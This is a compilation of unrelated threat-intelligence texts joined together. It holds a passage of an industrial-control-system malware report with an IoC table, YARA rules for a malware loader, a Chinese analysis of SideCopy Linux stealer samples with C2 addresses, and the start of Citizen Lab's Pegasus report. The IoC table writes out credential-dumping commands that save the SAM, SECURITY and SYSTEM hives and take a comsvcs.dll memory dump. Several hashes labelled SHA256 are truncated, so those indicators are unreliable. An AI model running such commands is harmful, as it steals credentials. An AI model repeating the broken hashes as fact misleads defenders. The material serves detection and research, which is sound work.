According to the available reports, the PLCs possibly targeted by the Codecall toolset mostly fall within the Schneider Electric Machine Expert product family, formerly called SoMachine. Machine Expert PLCs are relatively low-cost PLCs used in machine automation for motion control, mechatronics, and motor and drive management purposes.
The table below lists the reportedly targeted controllers and protocols in addition to vulnerabilities that have been identified.
| Controller | Targeted Protocols | Identified Vulnerabilities |
|------------|--------------------|----------------------------|
| M221 | Machine Expert Discovery (27126/UDP, 27127/UDP) | [Link](https://www.ndss-symposium.org/wp-content/uploads/bar2019_74_Kalle_paper.pdf) |
| | Modbus TCP (502/TCP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2018-233-01/) |
| | | [Link](https://www.se.com/ww/en/download/document/SEVD-2018-235-01/) |
| | | [Link](https://www.se.com/ww/en/download/document/SEVD-2018-270-01/) |
| | | [Link](https://www.se.com/ww/en/download/document/SEVD-2019-045-01/) |
| | | [Link](https://www.se.com/ww/en/download/document/SEVD-2020-315-05/) |
| M241 | Machine Expert Discovery (27126/UDP, 27127/UDP) | [Link](https://www.cisa.gov/uscert/ics/advisories/ICSA-17-089-02) |
| M251 | Machine Expert Discovery (27126/UDP, 27127/UDP) | [Link](https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-130-05) |
| | Machine Expert CODESYS (1740-1743/UDP, 1105/TCP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2020-105-02/) |
| | Modbus TCP (502/TCP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2019-134-02/) |
| | | [Link](https://www.se.com/ww/en/download/document/SEVD-2020-315-05/) |
| M238 | Modbus TCP (via TwidoPort gateway module) (502/TCP) | - |
| M258 | Machine Expert Discovery (27126/UDP, 27127/UDP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2020-105-02/) |
| | Machine Expert CODESYS (1740-1743/UDP, 1105/TCP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2019-134-02/) |
| LMC058 | Machine Expert Discovery (27126/UDP, 27127/UDP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2019-134-02/) |
| LMC078 | Machine Expert Discovery (27126/UDP, 27127/UDP) | [Link](https://www.se.com/ww/en/download/document/SEVD-2019-134-02/) |
As shown in the table above, most likely because of its comparative affordability, the Machine Expert product family has seen quite a bit of public security research, in particular the M221. This has resulted in a sizeable body of information on the internals, proprietary protocols, and uncovered vulnerabilities in these products that an attacker could weaponize. According to prior reports, Codecall possesses at least the following capabilities (and possibly more):
- Discover and identify Machine Expert PLCs over the network using the Discovery protocol
- Brute-force PLC passwords using CODESYS
- Using CODESYS functionality to enumerate, download, upload, and delete files
- Sever legitimate connections to the PLC, possibly to facilitate credential capture
- Manipulating IP routing information
- Trigger a DoS on the PLC requiring a power cycle and configuration recovery
- Send Modbus commands to read/write registers, request IDs, etc.
### Machine Expert Discovery
The Machine Expert Discovery protocol is a proprietary Schneider Electric protocol for discovery, identification, and network configuration of Machine Expert PLCs. While the protocol is ostensibly encrypted, this is done with a hardcoded key and a weak algorithm, allowing rogue clients to abuse this protocol for discovery and configuration manipulation purposes.
### CODESYS
CODESYS is one of the most popular IEC 61131-3 logic runtime environments and is used by dozens of vendors across the world. Both its V2 and V3 incarnations and the myriad security issues have been well documented by public security research. As such, attackers with capabilities for the CODESYS environment and protocol could potentially target products by multiple vendors, meaning defenders will need to be aware of any CODESYS-based assets in their inventories rather than simply focus on Machine Expert products.
### Modbus
The Modbus protocol is one of the most ubiquitous and famously insecure-by-design OT protocols in existence. Off-the-shelf capabilities to interact with Modbus can be found all over the internet and, as such, are nothing special in and of themselves. The harder part of carrying out OT-oriented attacks leveraging Modbus lies in understanding a given PLC’s internal Modbus map, which maps Modbus addresses to internal variables and I/Os. Without this understanding, an attacker is forced to either guess, brute-force, or infer this mapping from long-term network traffic and operations surveillance. However, retrieving the PLC’s configuration through CODESYS, as described above, will provide the attacker with these mappings.
Another item of interest is that the Machine Expert Basic series (which includes the M221), contrary to the wider Machine Expert family, does not use the CODESYS protocol but instead uses a Machine Expert Basic dialect of the proprietary Schneider Electric UMAS Modbus extension (function code 0x5A). While UMAS has been the subject of quite some public security research and the Machine Expert Basic extension has not, there still is some common functionality. As such, it seems interesting that no capabilities for this protocol appear to have been integrated into Codecall. This could either be a result of the target set’s demands (focusing on Machine Expert with the basic series being of lesser interest) or could point to capability modules that have not yet been recovered.
#### 2.2.3. Omshell/Badomen
According to the available reports, the devices possibly targeted by the Omshell toolset are related to machine automation, including machine controllers from the NJ and NX series, servo drives, fieldbus couplers, and power supplies.
The table below lists the reportedly targeted devices and protocols, in addition to vulnerabilities that have been identified.
| Controller | Targeted Protocols | Identified Vulnerabilities |
|------------|--------------------|----------------------------|
| NJ501-1300 | Omron FINS (9600/TCP, 9600/UDP) | [Link](https://www.cisa.gov/uscert/ics/advisories/icsa-19-346-03) |
| | HTTP (80/TCP) | - |
| | Telnet | - |
| NX1P2 | Omron FINS (9600/TCP, 9600/UDP) | - |
| | HTTP (80/TCP) | - |
| | Telnet | - |
| NX-SL3300 | - | - |
| NX-ECC203 | - | - |
| R88D-1SN10F-ECT | - | - |
| S8VK | - | - |
As shown in the table above, compared to the Schneider Electric Machine Expert or older Omron Cx family of PLC, the NJ and NX series have not seen much public security research, indicating the attacker likely had to invest significant efforts into developing capabilities for these platforms. According to prior reports, Omshell possesses at least the following capabilities and possibly more:
- Scan for Omron PLCs using the FINS protocol
- Interact with Omron PLC web services using HTTP
- Enumerate and communicate with devices (e.g., servo drives or power supplies) nested behind PLCs
- Backup and restore Omron PLC configurations
- Wipe and reset Omron PLCs
- Activate telnet service on Omron PLCs and use it to upload and execute binaries
- Deploy an additional Omron PLC-native implant for additional fine-grained capabilities.
### Omron FINS
The Omron Factory Interface Network Service (FINS) is a proprietary but publicly well-documented protocol for PLC communication and engineering operations among the popular Omron Cx and NJ/NX series. While this protocol has some security features, these are typically not enabled and have historically suffered from bypass flaws. The FINS protocol can be used for a wide array of potentially dangerous operations ranging from PLC enumeration and discovery to starting and stopping the PLC, reading and writing logic and memory, manipulating and deleting files, and wiping and resetting the PLC.
### Device Nesting
The reported ability of Omshell to enumerate and interact with devices nested behind PLCs is of particularly novel interest. Typically, PLCs control instruments or clusters of secondary PLCs via serial or industrial Ethernet-based fieldbus networks nested behind them. These devices are typically not directly addressable by attackers residing in IP-based OT networks if no pass-through protocol features are available. At most, they can be controlled in a limited fashion through whatever variables are mapped and exposed by the master PLCs.
An attacker seeking to achieve more complicated effects, including disabling safety systems, could possibly need the ability to control these nested devices more directly, which would require them to take over the master PLC acting as a bridge. The Omshell ability to achieve code execution on the PLC and deploy an implant could hint at the desire to develop such fine-grained capabilities. Such implants would have to be tailored to the particular PLC platform (in case of many NJ and NX series PLCs this seems to be a combination of x86, QNX, and/or Windows) and could persist for an indefinite amount of time due to the complete lack of endpoint security measures, introspection, or forensics capabilities on PLCs.
#### 2.2.4. Tagrun/Mousehole
The third OT-oriented component of INCONTROLLER is an OPC UA toolkit referred to as Tagrun. This toolkit is capable of identifying OPC UA servers, connecting to them using either default or attacker-supplied credentials, and enumerating OPC UA structures which include configurations, tags, and control points. This serves a potential dual purpose of discovery, reconnaissance, and process comprehension on the one hand and the ability to manipulate tag values to affect operations on the other.
## IoCs
| IoC | Type | Description |
|-----|------|-------------|
| 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c | File hash | SHA256 hash of the Industroyer2 sample from the original incident (CERT-UA) |
| 1a94e87 | File hash | SHA256 hash of one of the Industroyer2 samples (public sources) |
| fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e81505 | File hash | SHA256 hash of the CaddyWiper sample from the original incident (CERT-UA) |
| 43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7 | File hash | SHA256 hash of the OrcShred sample from the original incident (CERT-UA) |
| bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70b | File hash | SHA256 hash of the AwfulShred sample from the original incident (CERT-UA) |
| 1724a0a3c9c73f4d8891f988b5035effce8d897ed42336a92e2 | File hash | SHA256 hash of the TailJump sample from the original incident (CERT-UA) |
| cda9310715b7a12f47b7c134260d5ff9200c147fc1d05f030e5 | File hash | SHA256 hash of the ArguePatch sample from the original incident (CERT-UA) |
| 69296ca3575d9bc04ce0250d734d1a83c1348f5b6da756944933af0578bd41d2 | File hash | SHA256 hash of a Lazycargo sample from vx-underground |
| C:\Users\User1\Desktop\dev_projects\SignSploit1\x64\Release\AsrDrv_exploit.pdb | String | Path to the debug symbols found in a Lazycargo sample |
| HKLM\Hardware\ResourceMap\System Resources\Physical Memory | Windows registry key | A Windows registry key accessed by a Lazycargo sample |
| “PService_PPD.exe” | String | Name of the service/executable to be stopped and renamed in the infected machine |
| “D:\OIK\DevCounter” | String | Path where the service/executable to be stopped and renamed is located |
| 91.245.255[.]243 | IP address | Potentially, an IP address related to the initial access (according to CERT-UA) |
| 195.230.23[.]19 | IP address | Potentially, an IP address related to the initial access (according to CERT-UA) |
| C:\Users\peremoga.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Users\pa1.pay | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| reg save HKLM\SYSTEM C:\Users\Public\sys.reg /y | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| reg save HKLM\SECURITY C:\Users\Public\sec.reg /y | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| reg save HKLM\SAM C:\Users\Public\sam.reg /y | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| \\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\zrada.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| \\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\pa.pay | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Windows\System32\rundll32.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\windows\System32\comsvcs.dll MiniDump %PID% | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Users\Public\mem.dmp | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Windows\Temp\link.ps1 | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Users\peremoga.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Users\pa1.pay | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Dell\vatt.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Dell\pa.pay | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\Dell\108_100.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
| C:\tmp\cdel.exe | Host-based indicators of compromise | Host-based indicators of compromise from the original incident |
## Mitigation Recommendations
CISA recommends to:
- Isolate ICS/SCADA systems and networks from corporate networks and the internet. Limit network connections to only specifically allowed management and engineering workstations.
- Enforce multifactor authentication for remote access to ICS networks and devices whenever possible. Change passwords to ICS/SCADA devices on a consistent schedule. Only use admin accounts when required for specific tasks.
- Leverage an OT monitoring solution to alert on malicious indicators and behaviors, watching internal systems and communications for known hostile actions.
- Investigate symptoms of denial of service or delays in communications processing as signs of potential malicious activity.
- Monitor systems for loading of unusual drivers, particularly for ASRock driver if no ASRock driver is normally used on the system.
- Maintain backups for faster recovery after disruptive attacks.
More detailed recommendations are available on CISA alerts AA22-110A, AA22-103A, and AA22-083A. Windows driver developers should also follow standard security guidelines to prevent exploitation.
## References
- https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
- https://pylos.co/2022/04/23/industroyer2-in-perspective/
- https://www.securonix.com/blog/industroyer2-caddywiper-targeting-ukrainian-power-grid/
- https://www.emanueledelucia.net/industroyer2-the-ics-capable-malware-re-emerges-in-order-to-cause-critical-services-disruption/
- https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks
- https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis
- https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/
- https://www.cisa.gov/uscert/ncas/alerts/aa22-103a
- https://www.mandiant.com/resources/incontroller-state-sponsored-ics-tool
- https://www.dragos.com/blog/industry-news/chernovite-pipedream-malware-targeting-industrial-control-systems/
- https://download.schneider-electric.com/files?p_Doc_Ref=SESB-2022-01
- https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=17113&token=0c173ece4a2f48bd30d6a67fa2f495119d5caefc&download
© 2022 Forescout Technologies, Inc. All rights reserved. Forescout Technologies, Inc. is a Delaware corporation. A list of our trademarks and patents is available at www.forescout.com/company/legal/intellectual-property-patents-trademarks. Other brands, products, or service names may be trademarks or service marks of their respective owners. |
# Unveiling the CryptoMimic
## Rintaro Koike
Rintaro Koike is a security analyst at NTT Security (Japan) KK. He has been engaged in SOC and malware analysis. In addition, he is the founder of 'nao_sec'. He always collects and analyses threat information. He has been a speaker at Japan Security Analyst Conference 2018/19/20, HITCON Community 2019, VB 2019, AVAR 2019, CPRCon 2020 and Black Hat USA 2018 Arsenal.
## Shogo Hayashi
Shogo Hayashi has worked as a SOC analyst for more than 10 years at NTT Security (Japan) KK. His main specialization is responding to EDR detections, creating IoCs, malware analysis and researching endpoint behaviour of threat actors. In addition, he posts articles and whitepapers in NTT Security. He is a cofounder of SOCYETI, an organization for sharing threat information and analysis technique to SOC analysts in Japan.
## Hajime Takai
Hajime Takai currently works as a SOC analyst and a malware researcher at NTT Security (Japan) KK. He joined NTT Security in 2016, before which he worked for five years as a software engineer. He contributes to the NTT Security blog about malware research. He has written a white paper about Taidoor in Japanese. He has presented at Japan Security Analyst Conference 2020. He loves mahjong. |
# DBatLoader
This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.
## Rule: win_dbatloader_auto
```yara
rule win_dbatloader_auto {
meta:
author = "Felix Bilstein - yara-signator at cocacoding dot com"
date = "2020-10-14"
version = "1"
description = "autogenerated rule brought to you by yara-signator"
tool = "yara-signator v0.5.0"
signator_config = "callsandjumps;datarefs;binvalue"
malpedia_rule_date = "20201014"
malpedia_hash = "a7e3bd57eaf12bf3ea29a863c041091ba3af9ac9"
malpedia_version = "20201014"
malpedia_license = "CC BY-SA 4.0"
malpedia_sharing = "TLP:WHITE"
strings:
$sequence_0 = { 8b4504 03c5 8be8 8bc5 2b442414 }
$sequence_1 = { 6681e1ff0f 0fb7c9 03c1 0110 }
$sequence_2 = { 8b542404 8b5228 8bc6 03d0 8915???????? 6a00 6a01 }
$sequence_3 = { e8???????? 89442418 8bdd 83c308 8b7c2418 4f }
$sequence_4 = { e8???????? 50 8b4308 50 8b430c 03c6 50 }
$sequence_5 = { 89442420 df6c241c d835???????? e8???????? 89442418 }
$sequence_6 = { 8b4500 03c6 0fb70b 6681e1ff0f 0fb7c9 }
$sequence_7 = { 8b5c2404 81c3f8000000 8b442404 0fb77806 }
$sequence_8 = { 8944240c 8b44240c 894834 8b44240c 05f8000000 }
$sequence_9 = { 50 8b442410 8b4034 50 e8???????? }
$sequence_10 = { e9???????? 90 90 90 90 90 90 }
$sequence_11 = { 90 90 81ca80000000 eb52 90 }
$sequence_12 = { 90 90 90 83ca10 8bc2 c3 }
$sequence_13 = { 33c0 89442440 df6c243c d835???????? e8???????? }
$sequence_14 = { 8b44241c 8b4024 e8???????? 50 8b442420 8b4008 50 }
$sequence_15 = { 83c4c0 8bf0 8d3c24 b910000000 }
$sequence_16 = { 52 50 8b442410 8b403c 99 }
$sequence_17 = { 8bea 8bd8 90 90 }
$sequence_18 = { 022e 310500000000 0c00 0000 94 }
$sequence_19 = { 6800200000 8b44240c 8b4050 50 }
$sequence_20 = { 8bd8 33c0 55 68???????? 64ff30 648920 90 }
$sequence_21 = { 51 b910000000 f3a5 59 }
$sequence_22 = { 8b442418 8b403c 99 030424 13542404 }
$sequence_23 = { 8d3c24 b910000000 f3a5 90 90 90 }
condition:
7 of them and filesize < 54214656
}
```
## Rule: win_dbatloader_w0
```yara
rule win_dbatloader_w0 {
meta:
author = "Daniel Plohmann <daniel.plohmann<at>fkie.fraunhofer.de>"
date = "2021-10-12"
version = "1"
description = "Detects cryptographic routine"
malpedia_rule_date = "20211012"
malpedia_hash = ""
malpedia_version = "20211012"
malpedia_license = "CC BY-SA 4.0"
malpedia_sharing = "TLP:WHITE"
strings:
$xor_decrypt = { 8D 45 E4 8B 55 F8 8A 54 1A FF 0F B7 CF C1 E9 08 32 D1 }
condition:
all of them
}
``` |
# 奇安信威胁情报中心
## 背景
SideCopy组织至少自2019年以来一直在活动,主要针对南亚国家的国防军和武装部队人员、陆军人员进行窃密活动。该组织通过模仿响尾蛇APT的攻击手法来传递自己的恶意软件,并以此达到迷惑安全人员的目的。
2021年11月15日,奇安信威胁情报中心红雨滴团队首次发现SideCopy组织使用由Python打包的双平台攻击武器。活动中使用的初始攻击样本是一个包含Linux桌面启动文件的压缩包,该文件在执行之后会下载并播放莫迪总统访美视频以迷惑受害者,同时下载一个用于下载RAT的脚本并执行。经分析,我们可以确认该RAT是一款支持Windows和Linux双平台的远控工具。通过C&C关联发现,该团伙武器库中还包含Mac OS平台的Bella RAT。之后我们加强了对该组织的持续关注及追踪。
2021年12月20日,我们再次捕获SideCopy APT组织以印度国防参谋长坠机相关事件为诱饵进行的攻击。诱饵文档利用远程模板注入,远程加载并执行含有恶意DDE域代码的文档文件,通过恶意域代码下载vbs脚本到本机执行下发后续恶意代码。
## 概述
近日,红雨滴团队研究人员在日常威胁狩猎中再次捕获到一例针对Linux平台的攻击样本。与上次不同的是,此次捕获样本由Go语言编写而不是Python,该样本功能较为单一,仅实现了对目标受害者主机目录的扫描和窃取。遗憾的是,由于C2失效,我们没有获取到完整的攻击链,以及更深入的研究分析。
## 样本信息
本次捕获到的样本均为Linux 64位系统的ELF文件。本文将此次捕获到的样本分为两类,两类样本在基本结构、功能上大抵相似,不同之处在于其中一类样本获取了本机IP地址并进行了持久化操作。具体信息如下:
| 文件名 | MD5 | 类型 |
| --- | --- | --- |
| host | 5fd6fc76b3ec2f5c97a44bf7bd3de972 | |
| climax | 34d9dff0aa80f6ea7eea6f491d493fa3 | |
| update | 64149e187f678f3131746d2975b8a8dc | |
| version | fea8b786f469e723e8fdb7ed630ba850 | |
## 详细分析
首先以第一类样本,即没有持久化的样本34d9dff0aa80f6ea7eea6f491d493fa3为例进行分析。样本运行后将获取当前用户信息,以及主目录,并判断是否存在“/tmp/lists.txt”文件。若“/tmp/lists.txt”文件不存在,则样本将会先遍历主目录信息,然后在/tmp目录下创建lists.txt,并将结果存放在里面,上传C2为207.180.243[.]186:8062。若“/tmp/lists.txt”存在则跳过主目录遍历,直接进入下一步操作。
遍历的结果如下:
用于上传C2的部分:
之后,继续扫描/home/目录下带特定扩展名的文件,并创建/tmp/temp.txt,用于存放上传文件的记录,之后将扫描结果逐一上传C2,上传完成后便结束程序。
样本所扫描的扩展名包括.css、.csv、.doc、.egm、.gif、.htm、.jpg、.mjs、.odt、.oef、.pdf、.png、.ppt、.sdd、.sec、.svg、.txt、.xls、.xml等。
## 两类样本的不同之处
第二类样本与第一类样本的不同之处在于:
1. 样本运行后首先向api.ipify.org发送GET请求获取受感染系统的IP地址,之后再进行获取用户信息的操作。
2. 在获取到用户信息之后,样本会通过“/.config/autostart/”目录实现开机自启,获得持久化。之后的流程便与第一类样本完全相同。最终连接到的C2为164.68.108[.]153:8062。
## 关联分析
我们在分析过程中发现,第一类样本使用的C2:207.180.243[.]186,与《印度国防参谋长坠机:SideCopy APT组织趁火打劫》一文中恶意PowerShell脚本请求的C2相同。根据攻击流程来看,SideCopy组织利用207.180.243[.]186下发后续攻击组件。而本次捕获的样本功能简单,很像某条攻击链中使用的某一组件。虽然《印度国防参谋长坠机:SideCopy APT组织趁火打劫》一文中披露的是针对Windows平台的攻击,但我们猜测该组织可能在同一时期开始策划针对Linux平台的攻击。
其次通过奇安信威胁情报文件深度分析平台可知本文中样本的下载链接为“hxxp://assessment.mojochamps[.]com/uploads/v/filename”。该下载链接与此前我们披露的SideCopy攻击活动中的诱饵文档下载链接“hxxp://assessment.mojochamps[.]com/images/Jointness.docx”、“hxxp://assessment.mojochamps[.]com/uploads/v/3.php”所属域名均相同。
结合之前的两篇分析报告,我们发现SideCopy组织在2021年11月就入侵了合法网站“hxxp://assessment.mojochamps[.]com”,并将其用于挂载诱饵文档及相关恶意后续载荷。不难看出,SideCopy组织通过这一网站同时进行了Windows、Linux两个平台的攻击活动。
此外,通过我们本次捕获到的Linux样本再次印证了该攻击团伙将攻击能力覆盖包括Linux、Windows等多个平台的意图,且为此在不断发展新的攻击武器。
## 总结
SideCopy作为近年才被披露的APT组织,在2021下半年进入高度活跃的状态。近期,我们发现SideCopy组织不再满足于使用网络上开源的代码及工具,而是试图发展其攻击能力,更新其武器库。奇安信威胁情报中心会对其进行长期的溯源和跟进,及时发现安全威胁并快速响应处置。
此次捕获的样本主要针对南亚地区开展攻击活动,国内用户不受其影响。奇安信红雨滴团队提醒广大用户,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行标题夸张的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。
若需运行,安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。
目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。
## IOCs
**MD5**
- 5fd6fc76b3ec2f5c97a44bf7bd3de972
- 34d9dff0aa80f6ea7eea6f491d493fa3
- 64149e187f678f3131746d2975b8a8dc
- fea8b786f469e723e8fdb7ed630ba850
**C2**
- 164.68.108[.]153:8062
- 207.180.243[.]186:8062
**URL**
- http://207.180.243[.]186:8062/one
- http://164.68.108[.]153:8062/one |
# HIDE AND SEEK: Tracking NSO Group’s Pegasus Spyware to Operations in 45 Countries
**Research**
By Bill Marczak, John Scott-Railton, Sarah McKune, Bahr Abdul Razzak, and Ron Deibert
September 18, 2018
In this post, we develop new Internet scanning techniques to identify 45 countries in which operators of NSO Group’s Pegasus spyware may be conducting operations.
## Key Findings
Between August 2016 and August 2018, we scanned the Internet for servers associated with NSO Group’s Pegasus spyware. We found 1,091 IP addresses that matched our fingerprint and 1,014 domain names that pointed to them. We developed and used Athena, a novel technique to cluster some of our matches into 36 distinct Pegasus systems, each one which appears to be run by a separate operator.
We designed and conducted a global DNS Cache Probing study on the matching domain names in order to identify in which countries each operator was spying. Our technique identified a total of 45 countries where Pegasus operators may be conducting surveillance operations. At least 10 Pegasus operators appear to be actively engaged in cross-border surveillance.
Our findings paint a bleak picture of the human rights risks of NSO’s global proliferation. At least six countries with significant Pegasus operations have previously been linked to abusive use of spyware to target civil society, including Bahrain, Kazakhstan, Mexico, Morocco, Saudi Arabia, and the United Arab Emirates. Pegasus also appears to be in use by countries with dubious human rights records and histories of abusive behavior by state security services. In addition, we have found indications of possible political themes within targeting materials in several countries, casting doubt on whether the technology is being used as part of “legitimate” criminal investigations.
## 1. Executive Summary
Israel-based “Cyber Warfare” vendor NSO Group produces and sells a mobile phone spyware suite called Pegasus. To monitor a target, a government operator of Pegasus must convince the target to click on a specially crafted exploit link, which, when clicked, delivers a chain of zero-day exploits to penetrate security features on the phone and installs Pegasus without the user’s knowledge or permission. Once the phone is exploited and Pegasus is installed, it begins contacting the operator’s command and control (C&C) servers to receive and execute operators’ commands, and send back the target’s private data, including passwords, contact lists, calendar events, text messages, and live voice calls from popular mobile messaging apps. The operator can even turn on the phone’s camera and microphone to capture activity in the phone’s vicinity.
Pegasus exploit links and C&C servers use HTTPS, which requires operators to register and maintain domain names. Domain names for exploit links sometimes impersonate mobile providers, online services, banks, and government services, which may make the links appear to be benign at first glance. An operator may have several domain names that they use in exploit links they send, and also have several domain names they use for C&C. The domain names often resolve to cloud-based virtual private servers (we call these front-end servers) rented either by NSO Group or the operator. The front-end servers appear to forward traffic (via a chain of other servers) to servers located on the operator’s premises (we call these the back-end Pegasus servers).
## Scanning, Clustering, and DNS Cache Probing
In August 2016, award-winning UAE activist Ahmed Mansoor was targeted with NSO Group’s Pegasus spyware. We clicked on the link he was sent and obtained three zero-day exploits for the Apple iPhone, as well as a copy of the Pegasus spyware. We fingerprinted the behavior of the exploit link and C&C servers in the sample sent to Mansoor, and scanned the Internet for other matching front-end servers. We found 237 servers. After we clicked on the link, but before we published our findings on August 24, NSO Group had apparently taken down all of the Pegasus front-end servers we detected. In the weeks after our report, we noticed a small number of Pegasus front-end servers come back online, but the servers no longer matched our fingerprint. We developed a new fingerprint and began conducting regular Internet scans.
Between August 2016 and August 2018, we detected 1,091 IP addresses and 1,014 domain names matching our fingerprint. We developed and used Athena, a novel fingerprinting technique to group most of our results into 36 distinct Pegasus systems, each one perhaps run by a separate operator.
We next sought to identify where these Pegasus systems were being used. We hypothesized that devices infected with Pegasus would regularly look up one or more of the domain names for the operator’s Pegasus front-end servers using their ISP’s DNS servers. We regularly probed tens of thousands of ISP DNS caches around the world via DNS forwarders looking for the Pegasus domain names.
## Our Findings
We found suspected NSO Pegasus infections associated with 33 of the 36 Pegasus operators we identified in 45 countries: Algeria, Bahrain, Bangladesh, Brazil, Canada, Côte d’Ivoire, Egypt, France, Greece, India, Iraq, Israel, Jordan, Kazakhstan, Kenya, Kuwait, Kyrgyzstan, Latvia, Lebanon, Libya, Mexico, Morocco, the Netherlands, Oman, Pakistan, Palestine, Poland, Qatar, Rwanda, Saudi Arabia, Singapore, South Africa, Switzerland, Tajikistan, Thailand, Togo, Tunisia, Turkey, the UAE, Uganda, the United Kingdom, the United States, Uzbekistan, Yemen, and Zambia. As our findings are based on country-level geolocation of DNS servers, factors such as VPNs and satellite Internet teleport locations can introduce inaccuracies.
## Mexico
In 2017, we discovered, by retrospectively inspecting their text messages, that dozens of Mexican lawyers, journalists, human rights defenders, opposition politicians, anti-corruption advocates, and an international investigation operating in Mexico were targeted in 2016 with links to NSO Group’s Pegasus spyware. The Mexico revelations sparked a major political scandal, #GobiernoEspía, and an ensuing criminal investigation, ongoing as of the date of this report. Even after our prior reporting on the abuse of the Pegasus spyware in Mexico, it appears that there are three separate operators who operate predominantly in Mexico as of July 2018.
## Gulf Cooperation Council (GCC) Countries
We identify what appears to be a significant expansion of Pegasus usage in the Gulf Cooperation Council (GCC) countries in the Middle East. In total, we identify at least six operators with significant GCC operations, including at least two that appear to predominantly focus on the UAE, one that appears to predominantly focus on Bahrain, and one with a Saudi focus. Three operators may be conducting surveillance beyond the MENA region, including in Canada, France, Greece, the United Kingdom, and the United States.
The GCC countries are well known for abusing surveillance tools to track dissidents. In August 2016, UAE activist Ahmed Mansoor was targeted with NSO Group’s Pegasus spyware after previously being targeted with spyware from FinFisher and Hacking Team. Bahrain is noteworthy for compromising journalists, lawyers, opposition politicians, and pro-democracy activists with FinFisher’s spyware between 2010 and 2012. In May and June 2018, Amnesty International reported that an Amnesty staffer and a Saudi activist based abroad were targeted with NSO Group’s Pegasus spyware. The same operator responsible for that targeting appears to be conducting surveillance across the Middle East, as well as in Europe and North America. Saudi Arabia is currently seeking to execute five nonviolent human rights activists accused of chanting slogans at demonstrations and publishing protest videos on social media.
## Other Country Contexts
We identify five operators focusing on Africa, including one that appears to be predominantly focusing on the West African country of Togo, a staunch Israel ally whose long-serving President has employed torture and excessive force against peaceful opposition. The operator in Togo may have used websites with names like “nouveau president” (“new president”) and “politiques infos” (“political information”) to infect targets with spyware. A separate operator that appears to focus on Morocco may also be spying on targets in other countries including Algeria, France, and Tunisia. We identify several operators operating in Israel: four that appear to operate domestically and one that appears to operate both in Israel, as well as other countries including the Netherlands, Palestine, Qatar, Turkey, and the USA.
## 2. Fingerprinting Pegasus Infrastructure
This section describes how we traced Pegasus infrastructure, from our initial discovery in 2016 until the present.
### Background
We first began tracking NSO Group’s Pegasus spyware after the operators of UAE threat actor Stealth Falcon (later revealed to be UAE cybersecurity company DarkMatter) inadvertently gave us visibility into Pegasus infrastructure by registering a domain name whose homepage included a Pegasus link, using the same email address as a domain for a separate PC spyware product we were tracking. In August 2016, UAE activist Ahmed Mansoor was targeted with Pegasus with a text message sent to his iPhone. We clicked on the link provided in the message and obtained three zero-day exploits for Apple iOS 9.3.3, as well as a copy of the Pegasus spyware. We disclosed the exploits to Apple, which quickly released a patch blocking the Pegasus spyware. According to our scans, all of the Pegasus servers we detected (except for the C&C servers in the sample sent to Mansoor) were shut down at least two days before we published our results.
### Fingerprinting in 2016: Decoy Pages
When we sought to build fingerprints for Pegasus infrastructure in 2016, we scanned the Internet for `/redirect.aspx` and `/Support.aspx`, for which Pegasus servers returned decoy pages. A decoy page is a page shown when there is an undesired remote landing on a spyware server and is designed to convince the user that they are viewing a normal, benign website. However, because the functionality for showing decoy pages typically resides in the spyware server’s code and likely nowhere else, it is often trivial for researchers to build fingerprints for decoy pages, and scan the Internet for these fingerprints to identify other servers associated with the same spyware system, including perhaps the servers of other operators, if the same spyware system is used by multiple operators.
### Fingerprinting in 2017 and 2018: No More Decoys
After our August 2016 report, NSO Group apparently removed the `/redirect.aspx` and `/Support.aspx` decoy pages, and further modified their server code to close an incoming connection without returning any data unless presented with a valid exploit link or other path on the server. This change is in line with changes made by competitors FinFisher and Hacking Team, after we disclosed how we fingerprinted their hidden infrastructure with decoy pages.
